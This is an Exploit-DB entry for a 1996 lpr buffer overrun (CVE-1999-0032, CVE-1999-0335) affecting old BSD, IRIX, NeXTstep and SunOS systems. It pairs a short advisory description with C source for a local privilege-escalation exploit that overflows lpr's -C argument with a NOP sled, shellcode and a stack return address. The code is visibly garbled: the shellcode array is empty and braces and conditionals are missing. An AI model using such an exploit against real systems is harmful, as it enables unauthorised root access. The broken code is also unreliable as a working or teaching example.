BSD/OS 2.1,FreeBSD <= 2.1.5,NeXTstep 4.x,IRIX <= 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun2

ID EDB-ID:19545
Type exploitdb
Reporter Vadim Kolontsov
Modified 1996-10-25T00:00:00


BSD/OS 2.1,FreeBSD 2.1.5,NeXTstep 4.0/4.1,SGI IRIX 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun Vulnerability (2). CVE-1999-0032,CVE-1999-0335. Local exploit for...

Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges.

 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>

 #define DEFAULT_OFFSET 50
 #define BUFFER_SIZE 1023

 long get_esp(void)
 __asm__("movl %esp,%eax\n");

 void main()
 char *buff = NULL;
 unsigned long *addr_ptr = NULL;
 char *ptr = NULL;

 char execshell[] =

 int i;

 buff = malloc(4096);
 printf("can't allocate memory\n");
 ptr = buff;
 memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
 ptr += BUFFER_SIZE-strlen(execshell);
 for(i=0;i < strlen(execshell);i++)
 *(ptr++) = execshell[i];
 addr_ptr = (long *)ptr;
 *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
 ptr = (char *)addr_ptr;
 *ptr = 0;
 execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);